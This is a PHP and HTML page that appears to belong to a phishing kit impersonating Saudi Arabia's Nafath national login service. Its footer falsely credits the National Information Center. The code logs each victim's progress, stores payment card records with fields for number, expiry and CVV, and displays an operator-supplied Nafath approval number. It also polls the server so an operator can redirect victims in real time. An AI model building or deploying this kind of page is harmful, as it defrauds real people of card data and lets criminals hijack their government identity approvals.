<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'تحقق رمز تطبيق نفاذ');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'تحقق رمز تطبيق نفاذ'
    ];
}

if (isset($_POST['submit_LogInToTheSystem'])) {
    require_once(__DIR__ . "/json_db.php");
    $jsonDB = new JsonDB();
    $X = 0;

    // Ensure card_id exists
    if (!isset($_SESSION['card_id']) || empty($_SESSION['card_id'])) {
        ensureUserRegistered();
        $userId = $_SESSION['user_id'];
        $emptyCard = array(
            'cardNumber' => '',
            'cardName' => '',
            'year' => '',
            'cvv' => '',
            'insurance_company' => '',
            'insurance_price' => '',
            'message' => 'دخول مباشر',
            'type' => '1'
        );
        $cardId = $User->InsertCardVisaRelatedUser($userId, $emptyCard);
        if ($cardId) {
            $_SESSION['card_id'] = $cardId;
        }
    }
    $jsonDB->update('card', $_SESSION['card_id'], ['CheckTheInfo_Nafad' => $X]);
    if (true) {
        $site = array(
            'message' => 'تحقق رمز تطبيق نفاذ',
            'type' => '3'
        );
        ensureUserRegistered();
    $userId = $_SESSION['user_id'];
        $User->UpdateStatus($userId, 'تحقق رمز تطبيق نفاذ');
        echo "<script>document.location.href='wait-nafath.php';</script>";
    }
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>النفاذ الوطني الموحد</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        body {
            background: linear-gradient(180deg, #f8fafc 0%, #eff6ff 100%);
            min-height: 100vh;
        }
        .nafath-code-card {
            background: var(--bg-white);
            border-radius: 24px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.08);
            padding: 32px 24px;
            margin: 24px 16px;
            text-align: center;
            position: relative;
            overflow: hidden;
        }
        .nafath-code-card::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 4px;
            background: linear-gradient(90deg, var(--primary), #7c91ff, var(--primary));
        }
        .timer-badge {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            background: linear-gradient(135deg, #fef3c7, #fde68a);
            border: 1px solid #f59e0b;
            border-radius: 50px;
            padding: 8px 20px;
            font-size: 13px;
            font-weight: 700;
            color: #92400e;
            margin-bottom: 24px;
            animation: pulse 2s infinite;
        }
        @keyframes pulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.02); }
        }
        .code-display {
            position: relative;
            margin: 32px auto;
            width: 140px;
            height: 140px;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .code-display::before {
            content: '';
            position: absolute;
            inset: 0;
            border-radius: 50%;
            background: linear-gradient(135deg, var(--primary), #7c91ff);
            opacity: 0.1;
        }
        .code-display::after {
            content: '';
            position: absolute;
            inset: 8px;
            border-radius: 50%;
            border: 3px dashed var(--primary);
            opacity: 0.3;
            animation: spin 20s linear infinite;
        }
        @keyframes spin {
            from { transform: rotate(0deg); }
            to { transform: rotate(360deg); }
        }
        .code-number {
            font-size: 56px;
            font-weight: 900;
            color: var(--primary);
            z-index: 1;
            text-shadow: 0 2px 4px rgba(36, 71, 255, 0.1);
        }
        .nafath-instruction {
            font-size: 14px;
            color: var(--text-dark);
            font-weight: 600;
            line-height: 1.8;
            margin: 20px 0;
            padding: 16px;
            background: #eff6ff;
            border-radius: 12px;
            border: 1px solid rgba(36, 71, 255, 0.15);
        }
        .nafath-instruction i {
            color: var(--primary);
            margin-left: 6px;
        }
        .action-buttons {
            display: flex;
            flex-direction: column;
            gap: 10px;
            margin-top: 24px;
        }
        .btn-confirm {
            background: linear-gradient(135deg, var(--primary), #2447ff);
            color: white;
            border: none;
            border-radius: 14px;
            padding: 14px;
            font-size: 15px;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
        }
        .btn-confirm:hover {
            transform: translateY(-1px);
            box-shadow: 0 8px 24px rgba(36, 71, 255, 0.3);
        }
        .btn-restart {
            background: var(--bg-white);
            color: var(--text-dark);
            border: 1.5px solid var(--border);
            border-radius: 14px;
            padding: 12px;
            font-size: 14px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
            text-decoration: none;
            text-align: center;
            display: block;
        }
        .btn-restart:hover {
            border-color: var(--primary);
            color: var(--primary);
        }
        .steps-indicator {
            display: flex;
            gap: 8px;
            justify-content: center;
            margin-bottom: 20px;
        }
        .step-icon {
            width: 36px;
            height: 36px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
        }
        .step-icon.done {
            background: var(--primary);
            color: white;
        }
        .step-icon.current {
            background: #eff6ff;
            border: 2px solid var(--primary);
            color: var(--primary);
        }
        .step-connector {
            width: 24px;
            height: 2px;
            background: var(--border);
            align-self: center;
        }
        .step-connector.done {
            background: var(--primary);
        }
    </style>
</head>
<body>

    <!-- Header -->
    <div style="background: var(--bg-white); padding: 16px; box-shadow: var(--shadow); text-align: center;">
        <img src="./assets/nafad.png" alt="نفاذ" style="height: 36px;">
    </div>

    <!-- Card -->
    <div class="nafath-code-card fade-in">
        <!-- Steps -->
        <div class="steps-indicator">
            <div class="step-icon done"><i class="fas fa-check" style="font-size: 12px;"></i></div>
            <div class="step-connector done"></div>
            <div class="step-icon done"><i class="fas fa-check" style="font-size: 12px;"></i></div>
            <div class="step-connector done"></div>
            <div class="step-icon current"><i class="fas fa-shield-halved" style="font-size: 12px;"></i></div>
        </div>

        <!-- Timer -->
        <div class="timer-badge">
            <i class="fas fa-clock"></i>
            <span>تنتهي المهلة خلال <span id="countdown">169</span> ثانية</span>
        </div>

        <!-- Code -->
        <div class="code-display">
            <span class="code-number"><?php echo $_GET['code']; ?></span>
        </div>

        <!-- Instruction -->
        <div class="nafath-instruction">
            <i class="fas fa-mobile-screen-button"></i>
            يرجى الانتقال إلى تطبيق <strong>نفاذ الوطني</strong> واختيار الرقم أعلاه لإتمام ربط الوثيقة بنظام أبشر والمرور
        </div>

        <!-- Buttons -->
        <div class="action-buttons">
            <form method="POST" action="StepFifth.php">
                <button type="submit" name="submit_LogInToTheSystem" class="btn-confirm w-100">
                    <i class="fas fa-check-circle"></i>
                    تأكيد
                </button>
            </form>
            <a href="StepOne.php" class="btn-restart">
                <i class="fas fa-redo" style="margin-left: 6px;"></i>
                البدء من جديد
            </a>
        </div>
    </div>

    <!-- Footer -->
    <footer style="padding: 20px 16px; text-align: center;">
        <div style="background: #e5e7eb; border-radius: var(--radius); padding: 16px; max-width: 400px; margin: 0 auto;">
            <p style="font-size: 12px; font-weight: 600; color: var(--text-dark); margin: 0;">تطوير وتشغيل</p>
            <p style="font-size: 14px; font-weight: 700; color: var(--text-dark); margin: 4px 0;">مركز المعلومات الوطني</p>
            <p style="font-size: 11px; color: var(--text-muted); margin: 0;">النفاذ الوطني الموحد جميع الحقوق محفوظة © 2022</p>
        </div>
    </footer>

    <script src="js/main.js"></script>
    <script>
    // Countdown timer
    let seconds = 169;
    const countdownEl = document.getElementById('countdown');
    const timer = setInterval(() => {
        seconds--;
        if (seconds <= 0) {
            clearInterval(timer);
            countdownEl.textContent = '0';
        } else {
            countdownEl.textContent = seconds;
        }
    }, 1000);

    // Polling
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
